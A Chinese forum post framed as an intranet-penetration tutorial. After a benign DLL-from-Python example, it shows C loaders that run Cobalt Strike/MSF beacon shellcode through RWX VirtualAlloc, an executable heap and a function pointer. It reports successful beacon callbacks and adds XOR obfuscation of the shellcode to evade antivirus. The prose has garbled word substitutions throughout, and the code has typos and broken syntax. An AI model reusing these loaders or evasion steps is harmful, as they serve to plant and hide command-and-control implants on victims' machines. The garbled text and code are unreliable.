内网渗透-DLL和C语言加载木马

打印 上一主题 下一主题

主题 1819|帖子 1819|积分 5457

免杀进阶技能

1、DLL的定义与使用

DLLynamic Link library,动态链接库,是一个无法自己运行,必要额外的命令或步调来对其接口举行调用(类方法、函数)。
(1)在DevCpp中创建一个DLL项目

 (2)在dllmain.c中定义源代码函数接口
  1. #include "dll.h"
  2. #include windows. h
  3. DLLIMPORT void Helloworld()
  4. {
  5.     MessageBox (0, "Hello World from DLL! \n", "Hi" ,MB_ICONINFORMATION):
  6. }
  7. DLLIMPORT int Calculate (int a, int b) {
  8.     int result = a + b;
  9.     return result;
  10. }
复制代码
(3)在dll.h的头文件中声明函数接口
  1. DLLIMPORT void Helloworld();
  2. DLLIMPORT int Calculate(int a, int b);
复制代码
(4)在Python中调用DLL函数接口
没有编译之前都是源代码

当我们点击编译

 发现编译无错误,编译成功

编译一旦成功,这里就会天生一个DLL文件

由于DLL只是供别人调用的一个函数库,以是自己本身是不能运行的
假如我们直接点击运行,会告诉我们没有提供主步调,那么是没有办法举行运行的,它只是写好给别的步调调

然后将这个dll文件复制到我们的python目次下来,然后我们就可以在python当中举行调用了

然后我们创建一个dlltest.py,开始写入代码
  1. import ctypes
  2. #加载DLL文件
  3. func = ctypes.CDLL("./MyDLLDemo.dll")
  4. #调用函数
  5. func.HelloWorld()
复制代码
运行这段代码,运行效果如下:

然后我们再调用一个函数
  1. result = func.Calculate(100,200)
  2. print(result)
复制代码
运行效果如下:

2、C语言加载ShellCode

1、在MSF或CS中天生C语言的ShellCode
unigned 叫无符号型(没有负数位),有符号位:-128-127,无符号:0-255
char buf[] 表示定义了一个字符数组(也可以当作是字符串,C语言没有内置字符串范例),在c语言中也可以用字符指针举行定义

我们使用32位的,不适用64位的

然后选择HTTP_Beacon

生存到Muma18的目次底下去

然后打开payload.c,这就是一个C语言版本的CS的payload

2、在C语言中对其举行加载实现CS上线
我们新建一个C语言的可执行项目,名称叫做RunCS

将我们天生的payload输入进去

编译没有报错

 然后运行,没有报错

 然后发现上线成功

 运行代码的时候,文件夹里会出现可执行步调RunCS.exe

这种步调不会免杀的

 3、C语言加载调用shellcode的几种方式
  1. //第一种加载:申请内存加载
  2. void *p = Virtualalloc (NULL, sizeof (enc), MEM_COMMIT | MEM_RESERVE, PAGE_EXECUTE_READWRITE);
  3. memcdy(p,enc,sizeof(enc));
  4. CODE code = (CODE) p;
  5. code();
  6. }
  7. //第二种加载:堆加载
  8. HANDLE myHeap = HeapCreate (HEAP_CREATE_ENABLE_EXECUTE, 0, 0);
  9. void* exec = HeapAlloc(myHeap, HEAP_ZERO_MEMORY, sizeof(enc)) ;
  10. memcpy (exec, enc, sizeof(enc));
  11. ((void (*) ()) exec) () ;
  12. //第三种加载:函数指针加载
  13. ((void (*) (void)) & enc) () ;
复制代码
使用内存加载的方式

然后我们编译运行,发现没有问题,阐明编译成功

上线成功

使用堆加载的方式

编译运行成功

成功上线

 将这几种代码整合起来,如下:
  1. #include <stdio.h>
  2. #include <stdlib.h>
  3. #include <windows.h>
  4. typedef void (__stdcall *CODE) () ;
  5. /* run this program using the console pauser or add your own getch, system("pause") or input loop */
  6. unsigned char buf [] = "'xfc\xe8\×89\×00\x00\×00\×60\×89\xe5\×31\xd2\×64\x8b\×52";
  7. void start () {
  8.     申请内存加载
  9.     /*
  10.     void *p = Virtualalloc(NULL, sizeof (buf), MEM_COMMIT | MEM_RESERVE,                         PAGE_EXECUTE_READWRITE);
  11.     memcpy (p, buf, sizeof(buf));
  12.     CODE code = (CODE) p;
  13.     code();
  14.     */
  15.    
  16.     堆加载
  17.     HANDLE myHeap = HeapCreate (HEAP_CREATE_ENABLE_EXECUTE, 0, 0);
  18.     void* exec = HeapAlloc (myHeap, HEAP_ZERO_MEMORY, sizeof (buf));
  19.     memcpy (exec, buf, sizeof(buf));
  20.     ((void (*) ()) exec) () ;
  21.    
  22.     函数指针加载
  23.     /* ((void(*) (void)) & buf) (); */
  24. int main(int arge, char targv[]) {
  25.     start();
  26.     return 0;
  27. }
复制代码
以上加载器不免杀

3、实验对ShellCode举行代码肴杂

对我们的shellcode举行异或处理,然后打印到控制台上去

编译成功,阐明没有错误

 然后运行,成功打印,正常输出异或加密处理过的shellcode,相当于做了一个代码肴杂

得到了加密的之后,我们就来解密
将加密的ShellCode放到一个字符数组内里去,然后调用下面的代码,使用函数指针加载的方式去加载调用解密之后的ShellCode

编译运行成功

 上线成功


免责声明:如果侵犯了您的权益,请联系站长,我们会及时删除侵权内容,谢谢合作!更多信息从访问主页:qidao123.com:ToB企服之家,中国第一个企服评测及商务社交产业平台。

本帖子中包含更多资源

您需要 登录 才可以下载或查看,没有账号?立即注册

x
回复

使用道具 举报

0 个回复

倒序浏览

快速回复

您需要登录后才可以回帖 登录 or 立即注册

本版积分规则

徐锦洪

论坛元老
这个人很懒什么都没写!
快速回复 返回顶部 返回列表